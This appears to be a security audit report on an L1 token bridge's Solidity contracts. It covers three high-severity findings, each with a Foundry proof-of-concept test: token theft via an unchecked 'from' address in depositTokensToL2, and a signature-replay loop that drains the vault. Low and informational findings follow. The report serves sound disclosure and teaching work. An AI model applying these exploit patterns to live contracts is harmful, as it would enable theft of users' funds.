Lead Auditors:

- Dionis Xhaferi

Table of Contents

Protocol Summary

This project presents a simple bridge mechanism to move our ERC20 token from L1 to an L2 we're building. The L2 part of the bridge is still under construction, so we don't include it here.

In a nutshell, the bridge allows users to deposit tokens, which are held into a secure vault on L1. Successful deposits trigger an event that our off-chain mechanism picks up, parses it and mints the corresponding tokens on L2.

To ensure user safety, this first version of the bridge has a few security mechanisms in place:

- The owner of the bridge can pause operations in emergency situations.
- Because deposits are permissionless, there's an strict limit of tokens that can be deposited.
- Withdrawals must be approved by a bridge operator.

Disclaimer

The DX team makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 07af21653ab3e8a8362bf5f63eb058047f562375

Scope

./src/ #-- L1BossBridge.sol #-- L1Token.sol #-- L1Vault.sol #-- TokenFactory.sol

Roles

- Bridge Owner: A centralized bridge owner who can:
  - pause/unpause the bridge in the event of an emergency
  - set `Signers` (see below)
- Signer: Users who can "send" a token from L2 -> L1.

- Vault: The contract owned by the bridge that holds the tokens.
- Users: Users mainly only call `depositTokensToL2`, when they want to send tokens from L1 -> L2.

Executive Summary

This was a very informational codebase. I learned alot from Singature replay attacks, arbitrary functions, bridging tokens, and L1/L2 ecosystems.

Issues found

Severity	Number of issues found
High	3
Medium	0
Low	10
Gas	0
Info	1
Total	14

Findings

High

High

[H-1] Missing Sender Validation in `depositTokensToL2` allows unauthorized tokens transfers

Description: If a user approves the bridging of the tokens, some other user can call the `depositTokensToL2` function and set the to address to their own address.

Impact: Anyone is able to transfer someone else's tokens to their address

Proof of Concept:

The following code shows the process

```
function testCanMoveApprovedTokensOfOtherUsers() public {
        //@audit-high any user can steal funds from another user
        // creates a user , alice
        vm.prank(user);
        token.approve(address(tokenBridge), type(uint256).max);

        //bob
        uint256 depositAmount = token.balanceOf(user);
        address attacker = makeAddr("attacker");
        vm.startPrank(attacker);
        vm.expectEmit(address(tokenBridge));
        emit Deposit(user, attacker, depositAmount);
        tokenBridge.depositTokensToL2(user, attacker, depositAmount);

        assertEq(token.balanceOf(user), 0);
        assertEq(token.balanceOf(address(vault)), depositAmount);
        vm.stopPrank();
    }
```

This test passes

Recommended Mitigation: Make it so that the msg.sender is only able to call the deposit function after the approval of their own tokens.

[H-2] Improper Access Control in `depositTokensToL2()` May Lead to Vault Exploit

Description: If a vault approves the bridging, a user can steal tokens from the vault by setting the to address to their own address.

Impact: Any user can steal vault tokens

Proof of Concept:

```
  function testCanTransferFromVaultToVault() public {

        address attacker = makeAddr("attacker");
        uint256 vaultBalance = 500 ether;
        deal(address(token), address(vault), vaultBalance);


        vm.expectEmit(address(tokenBridge));
        emit Deposit(address(vault), attacker, vaultBalance);
        tokenBridge.depositTokensToL2(address(vault), attacker, vaultBalance);


    }
```

Recommended Mitigation: Create some sort of msg.sender so only they are able to take the funds out of the contract.

[H-3] Singature Replay attack in `sendToL1` function enables users to drain the vault.

Description: The `sendToL1` function is vulnerable to a signature replay attack, allowing an attacker to reuse a valid signature multiple times to withdraw funds from the vault indefinitely. The contract does not track used signatures so once a valid signature for withdrawal is obtained, it can be replayed multiple times, leading to a compelte depletion of vault funds.

Impact: An attacker can drain all tokens from the vault by repeatedly replaying the same valid withdrawl signature

Proof of Concept:

```
  function testSignatureReplay() public {
        address attacker = makeAddr("attacker");
        uint256 vaultInitialBalance = 1000e18;
        uint256 attackerInitialBalance = 100e18;
        deal(address(token), address(vault), vaultInitialBalance);
        deal(address(token), address(attacker), attackerInitialBalance);

        vm.startPrank(attacker);
        token.approve(address(tokenBridge), type(uint256).max);
        tokenBridge.depositTokensToL2(attacker, attacker, attackerInitialBalance);
        // send the tokens back to l1

        //Signer signs the withdrawl
        bytes memory message = abi.encode(address(token),0, abi.encodeCall(IERC20.transferFrom,
(address(vault), attacker, attackerInitialBalance)));
        // hash into eth format
        (uint8 v, bytes32 r, bytes32 s) = vm.sign(operator.key,
MessageHashUtils.toEthSignedMessageHash(keccak256(message)));
        while(token.balanceOf(address(vault)) > 0) {
            // attacker replays the signature
            // because they signed the message onchain, we can do this
            tokenBridge.withdrawTokensToL1(attacker, attackerInitialBalance, v, r, s);
        }

        assertEq(token.balanceOf(address(attacker)), attackerInitialBalance + vaultInitialBalance);
        assertEq(token.balanceOf(address(vault)), 0);
    }
```

Recommended Mitigation: Create a nonce so that the signature is only able to be used once.

Low

[L-1] Centralization Risk for trusted owners

Contracts have owners with privileged rights to perform admin tasks and need to be trusted to not perform malicious updates or drain funds.

▶ 8 Found Instances

- Found in src/L1BossBridge.sol Line: 27

```
contract L1BossBridge is Ownable, Pausable, ReentrancyGuard {
```

- Found in src/L1BossBridge.sol Line: 49

```
    function pause() external onlyOwner {
```

- Found in src/L1BossBridge.sol Line: 53

```
    function unpause() external onlyOwner {
```

- Found in src/L1BossBridge.sol Line: 57

```
    function setSigner(address account, bool enabled) external onlyOwner {
```

- Found in src/L1Vault.sol Line: 12

```
contract L1Vault is Ownable {
```

- Found in src/L1Vault.sol Line: 19

```
    function approveTo(address target, uint256 amount) external onlyOwner {
```

- Found in src/TokenFactory.sol Line: 11

```
contract TokenFactory is Ownable {
```

- Found in src/TokenFactory.sol Line: 23

```
    function deployToken(string memory symbol, bytes memory contractBytecode) public onlyOwner returns
(address addr) {
```

[L-2] Unsafe ERC20 Operations should not be used

ERC20 functions may not behave as expected. For example: return values are not always meaningful. It is recommended to use OpenZeppelin's SafeERC20 library.

▶ 2 Found Instances

- Found in src/L1BossBridge.sol Line: 99

```
                abi.encodeCall(IERC20.transferFrom, (address(vault), to, amount))
```

- Found in src/L1Vault.sol Line: 20

```
        token.approve(target, amount);
```

[L-3] Missing checks for `address(0)` when assigning values to address state variables

Check for `address(0)` when assigning values to address state variables.

▶ 1 Found Instances

- Found in src/L1Vault.sol Line: 16

```
        token = _token;
```

[L-4] `public` functions not used internally could be marked `external`

Instead of marking a function as `public`, consider marking it as `external` if it is not used internally.

▶ 2 Found Instances

- Found in src/TokenFactory.sol Line: 23

```
    function deployToken(string memory symbol, bytes memory contractBytecode) public onlyOwner returns
(address addr) {
```

- Found in src/TokenFactory.sol Line: 31

```
    function getTokenAddressFromSymbol(string memory symbol) public view returns (address addr) {
```

[L-5] Event is missing `indexed` fields

Index event fields make the field more quickly accessible to off-chain tools that parse events. However, note that each index field costs extra gas during emission, so it's not necessarily best to index the maximum allowed per event (three fields). Each event should use three indexed fields if there are three or more fields, and gas usage is not particularly of concern for the events in question. If there are fewer than three fields, all of the fields should be indexed.

▶ 2 Found Instances

- Found in src/L1BossBridge.sol Line: 40

```
    event Deposit(address from, address to, uint256 amount);
```

- Found in src/TokenFactory.sol Line: 14

```
    event TokenDeployed(string symbol, address addr);
```

[L-6] PUSH0 is not supported by all chains

Solc compiler version 0.8.20 switches the default target EVM version to Shanghai, which means that the generated bytecode will include PUSH0 opcodes. Be sure to select the appropriate EVM version in case you intend to deploy on a chain other than mainnet like L2 chains that may not support PUSH0, otherwise deployment of your contracts will fail.

▶ 4 Found Instances

- Found in src/L1BossBridge.sol Line: 15

```
pragma solidity 0.8.20;
```

- Found in src/L1Token.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/L1Vault.sol Line: 2

```
pragma solidity 0.8.20;
```

- Found in src/TokenFactory.sol Line: 2

```
pragma solidity 0.8.20;
```

[L-7] Large literal values multiples of 10000 can be replaced with scientific notation

Use `e` notation, for example: `1e18`, instead of its full numeric value.

▶ 2 Found Instances

- Found in src/L1BossBridge.sol Line: 30

```
    uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

- Found in src/L1Token.sol Line: 7

```
    uint256 private constant INITIAL_SUPPLY = 1_000_000;
```

[L-8] State variable could be declared constant

State variables that are not updated following deployment should be declared constant to save gas. Add the `constant` attribute to state variables that never change.

▶ 1 Found Instances

- Found in src/L1BossBridge.sol Line: 30

```
    uint256 public DEPOSIT_LIMIT = 100_000 ether;
```

[L-9] State variable changes but no event is emitted.

State variable changes in this function but no event is emitted.

▶ 1 Found Instances

- Found in src/L1BossBridge.sol Line: 57

```
    function setSigner(address account, bool enabled) external onlyOwner {
```

[L-10] State variable could be declared immutable

State variables that are should be declared immutable to save gas. Add the `immutable` attribute to state variables that are only changed in the constructor

▶ 1 Found Instances

- Found in src/L1Vault.sol Line: 13

```
    IERC20 public token;
```

[I-1] `DEPOSIT_LIMIT` should be constant

This variable does not change, so it should be constant